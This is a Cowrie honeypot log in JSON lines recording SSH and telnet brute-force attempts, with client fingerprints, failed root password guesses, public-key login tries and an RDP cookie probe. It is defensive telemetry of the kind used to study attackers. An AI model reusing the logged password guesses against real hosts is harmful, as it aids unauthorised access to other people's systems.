{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:44:55.427490Z","src_ip":"45.137.172.116","session":"cd84b4ce0970","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"News@123","message":"login attempt [root/News@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:44:55.862282Z","src_ip":"45.137.172.116","session":"cd84b4ce0970","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:44:56.967572Z","src_ip":"45.137.172.116","session":"cd84b4ce0970","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00747632980347,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:03.219819Z","src_ip":"152.42.224.71","session":"244bfa8e453a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.84.253","src_port":37948,"dst_ip":"159.203.135.109","dst_port":22,"session":"71320cd61aca","protocol":"ssh","message":"New connection: 43.173.84.253:37948 (159.203.135.109:22) [session: 71320cd61aca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:05.260961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:05.269026Z","src_ip":"43.173.84.253","session":"71320cd61aca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:05.339239Z","src_ip":"43.173.84.253","session":"71320cd61aca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa147852","message":"login attempt [root/Aa147852] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:05.659790Z","src_ip":"43.173.84.253","session":"71320cd61aca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:06.735900Z","src_ip":"43.173.84.253","session":"71320cd61aca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":53088,"dst_ip":"10.17.0.5","dst_port":22,"session":"44e9db855751","protocol":"ssh","message":"New connection: 103.173.227.57:53088 (10.17.0.5:22) [session: 44e9db855751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:13.546277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:13.554175Z","src_ip":"103.173.227.57","session":"44e9db855751","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:13.801918Z","src_ip":"103.173.227.57","session":"44e9db855751","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"m0unta!n","message":"login attempt [root/m0unta!n] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:14.537775Z","src_ip":"103.173.227.57","session":"44e9db855751","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:15.786793Z","src_ip":"103.173.227.57","session":"44e9db855751","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":57212,"dst_ip":"10.17.0.5","dst_port":22,"session":"b91ffe100251","protocol":"ssh","message":"New connection: 152.42.212.128:57212 (10.17.0.5:22) [session: b91ffe100251]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:20.223096Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:20.230938Z","src_ip":"152.42.212.128","session":"b91ffe100251","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:20.236373Z","src_ip":"152.42.212.128","session":"b91ffe100251","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.201.9.152","src_port":57058,"dst_ip":"10.17.0.5","dst_port":22,"session":"4eda9aa5fba0","protocol":"ssh","message":"New connection: 128.201.9.152:57058 (10.17.0.5:22) [session: 4eda9aa5fba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:20.426604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:20.432053Z","src_ip":"128.201.9.152","session":"4eda9aa5fba0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:20.557603Z","src_ip":"128.201.9.152","session":"4eda9aa5fba0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root12345!","message":"login attempt [root/Root12345!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:21.089724Z","src_ip":"128.201.9.152","session":"4eda9aa5fba0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":39274,"dst_ip":"10.17.0.5","dst_port":22,"session":"e17c76f0e72a","protocol":"ssh","message":"New connection: 43.135.177.217:39274 (10.17.0.5:22) [session: e17c76f0e72a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:21.239920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:21.254114Z","src_ip":"43.135.177.217","session":"e17c76f0e72a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:21.324088Z","src_ip":"43.135.177.217","session":"e17c76f0e72a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@storage","message":"login attempt [root/Root@storage] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:21.630426Z","src_ip":"43.135.177.217","session":"e17c76f0e72a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:22.217762Z","src_ip":"128.201.9.152","session":"4eda9aa5fba0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:22.703392Z","src_ip":"43.135.177.217","session":"e17c76f0e72a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":47628,"dst_ip":"159.203.135.109","dst_port":22,"session":"84f20cf8cd55","protocol":"ssh","message":"New connection: 62.133.63.178:47628 (159.203.135.109:22) [session: 84f20cf8cd55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:25.570281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:25.577383Z","src_ip":"62.133.63.178","session":"84f20cf8cd55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:25.698682Z","src_ip":"62.133.63.178","session":"84f20cf8cd55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"csyjxtr","message":"login attempt [root/csyjxtr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:26.082568Z","src_ip":"62.133.63.178","session":"84f20cf8cd55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:27.206381Z","src_ip":"62.133.63.178","session":"84f20cf8cd55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59014,"dst_ip":"10.17.0.5","dst_port":23,"session":"48a1a371c91a","protocol":"telnet","message":"New connection: 152.42.224.71:59014 (10.17.0.5:23) [session: 48a1a371c91a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:28.316385Z"}
{"eventid":"cowrie.session.closed","duration":44.66948676109314,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:37.638572Z","src_ip":"152.42.224.71","session":"09f9de8a1792","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.135.33.66","src_port":49194,"dst_ip":"10.17.0.5","dst_port":22,"session":"95fa909a8f3e","protocol":"ssh","message":"New connection: 148.135.33.66:49194 (10.17.0.5:22) [session: 95fa909a8f3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:44.684294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:44.690946Z","src_ip":"148.135.33.66","session":"95fa909a8f3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:44.758911Z","src_ip":"148.135.33.66","session":"95fa909a8f3e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:02:e5:db:75:8b:60:7f:d0:0c:c7:a6:1c:eb:bd:c8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFh0J4f1wUn9Wwxt0UxVA2dt1sjcxaaklnaNNZ+OpuDf","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 61:02:e5:db:75:8b:60:7f:d0:0c:c7:a6:1c:eb:bd:c8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:45.066676Z","src_ip":"148.135.33.66","session":"95fa909a8f3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:02:e5:db:75:8b:60:7f:d0:0c:c7:a6:1c:eb:bd:c8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFh0J4f1wUn9Wwxt0UxVA2dt1sjcxaaklnaNNZ+OpuDf","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:45.071964Z","src_ip":"148.135.33.66","session":"95fa909a8f3e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a3:9b:fb:0d:f0:2e:cd:23:cd:66:78:02:14:98:2e:20","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIPD7PsommsOaw3ggE34FD5dAOWYDhAiFO74201HVvzc","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint a3:9b:fb:0d:f0:2e:cd:23:cd:66:78:02:14:98:2e:20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:45.147753Z","src_ip":"148.135.33.66","session":"95fa909a8f3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a3:9b:fb:0d:f0:2e:cd:23:cd:66:78:02:14:98:2e:20","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIPD7PsommsOaw3ggE34FD5dAOWYDhAiFO74201HVvzc","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:45.152762Z","src_ip":"148.135.33.66","session":"95fa909a8f3e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9c:32:02:66:55:d4:9a:80:f7:57:e2:73:ee:dc:ad:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtmffUZA9CTbhdjezixoZzn8UtS5uToyGMNSUvO2J1juuqLlrYGgOB4M/uFmF22PaoChLxT2r3YhMmino9cHjcxD5XSc6vBCCPKOxvoADCjy4gyJt8MREzccZO3ZPj46w+E4ETDoZMZfK/3C/CYz9sWzoUMpA1aPrWOgzRdA6Jot4bh7FDrX3M2b9+VX1Rz7D4MRhe6L+/uv1odI2ZXDw+g1uXvBZiuGd4ADM8sJDh8xwUorAABsDx6icrAmYPLPpjttFWrbHsI6wYNZUiIdVdwQGXop1BMi4CyIVU3vlDjJgxlyLueLNi8FXUU4Y5m2kXg5+bTlzafF+5bQFjq5dKw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9c:32:02:66:55:d4:9a:80:f7:57:e2:73:ee:dc:ad:b1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:45:45.238245Z","src_ip":"148.135.33.66","session":"95fa909a8f3e","protocol":"ssh"}
